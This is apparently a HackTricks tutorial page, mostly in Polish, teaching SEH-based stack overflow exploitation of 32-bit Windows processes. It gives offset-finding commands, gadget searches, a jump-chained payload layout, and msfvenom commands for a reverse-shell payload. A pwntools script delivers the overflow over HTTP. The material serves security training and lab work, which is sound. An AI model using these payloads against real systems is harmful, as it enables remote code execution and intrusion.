Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
Reading time: 7 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
SEH-based exploitation jest klasyczną techniką dla x86 Windows, która wykorzystuje łańcuch Structured Exception Handler przechowywany na stosie. Gdy przepełnienie bufora na stosie nadpisze dwa 4-bajtowe pola
- nSEH: wskaźnik do następnego rekordu SEH, oraz
- SEH: wskaźnik do funkcji obsługi wyjątków
atakujący może przejąć kontrolę nad wykonaniem poprzez:
- Ustawienie SEH na adres gadgetu POP POP RET w module bez zabezpieczeń, tak aby po zgłoszeniu wyjątku gadget zwrócił sterowanie do bajtów kontrolowanych przez atakującego, oraz
- Użycie nSEH do przekierowania wykonania (zwykle krótkiego skoku) z powrotem do dużego przepełnionego bufora, w którym znajduje się shellcode.
This technique is specific to 32-bit processes (x86). On modern systems, prefer a module without SafeSEH and ASLR for the gadget. Bad characters often include 0x00, 0x0a, 0x0d (NUL/CR/LF) due to C-strings and HTTP parsing.
Finding exact offsets (nSEH / SEH)
- Spowoduj awarię procesu i zweryfikuj, że łańcuch SEH został nadpisany (np. w x32dbg/x64dbg sprawdź widok SEH).
- Wyślij cykliczny wzorzec jako dane przepełniające i oblicz offsety dwóch dwordów, które trafiają do nSEH i SEH.
Example with peda/GEF/pwntools on a 1000-byte POST body:
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
Zwaliduj, umieszczając markery w tych pozycjach (np. nSEH=b"BB", SEH=b"CC"). Zachowaj całkowitą długość niezmienioną, aby umożliwić odtworzenie awarii.
Wybór POP POP RET (SEH gadget)
Potrzebujesz sekwencji POP POP RET, aby rozwinąć ramkę SEH i wrócić do bajtów nSEH. Znajdź ją w module bez SafeSEH i najlepiej bez ASLR:
- Mona (Immunity/WinDbg):
!mona modules
następnie!mona seh -m modulename
. - x64dbg plugin ERC.Xdbg:
ERC --SEH
aby wypisać POP POP RET gadgets i status SafeSEH.
Wybierz adres, który nie zawiera badchars po zapisaniu w little-endian (np. p32(0x004094D8)
). Preferuj gadgety wewnątrz podatnej binarki, jeśli zabezpieczenia na to pozwalają.
Technika skoku wstecz (short + near jmp)
nSEH ma tylko 4 bajty, co mieści co najwyżej 2-bajtowy short jump (EB xx
) plus padding. Jeśli musisz skoczyć wstecz o setki bajtów, by dostać się do początku bufora, użyj 5-bajtowego near jump umieszczonego tuż przed nSEH i połącz go łańcuchem krótkim skokiem z nSEH.
Za pomocą nasmshell:
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
Pomysł układu dla 1000-byte payload z nSEH na offset 660:
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
Przebieg wykonania:
- Występuje wyjątek, dispatcher używa nadpisanego SEH.
- POP POP RET rozwija stos do naszego nSEH.
- nSEH wykonuje
jmp short -8
, trafiając do 5-byte near jump. - Near jump ląduje na początku naszego bufora, gdzie znajduje się NOP sled + shellcode.
Złe znaki
Zbuduj pełny badchar string i porównaj stack memory po crashu, usuwając bajty, które są mangled przez target parser. Dla HTTP-based overflows \x00\x0a\x0d
są niemal zawsze wykluczone.
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
Shellcode generation (x86)
Użyj msfvenom z twoimi badchars. Mały NOP sled pomaga tolerować zmienność punktu lądowania.
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
Jeśli generujesz w locie, format hex jest wygodny do osadzenia i unhex w Pythonie:
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
Dostarczanie przez HTTP (dokładne CRLF + Content-Length)
Jeżeli wektorem podatności jest ciało żądania HTTP, przygotuj surowe żądanie z dokładnymi CRLF i Content-Length, aby serwer odczytał całe przepełniające się ciało.
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
Narzędzia
- x32dbg/x64dbg do obserwacji łańcucha SEH i analizy awarii.
- ERC.Xdbg (wtyczka x64dbg) do enumeracji SEH gadgets:
ERC --SEH
. - Mona jako alternatywa:
!mona modules
,!mona seh
. - nasmshell do składania short/near jumps i kopiowania raw opcodes.
- pwntools do tworzenia precyzyjnych network payloads.
Uwagi i zastrzeżenia
- Dotyczy tylko procesów x86. x64 używa innego schematu SEH i SEH-based exploitation zazwyczaj nie jest wykonalna.
- Preferuj gadgets w modułach bez SafeSEH i ASLR; w przeciwnym razie znajdź niechroniony moduł załadowany do procesu.
- Service watchdogs, które automatycznie restartują po awarii, mogą ułatwić iterative exploit development.
References
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)
- Corelan – Exploit writing tutorial part 7 (SEH)
- Mona.py – WinDbg/Immunity helper
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.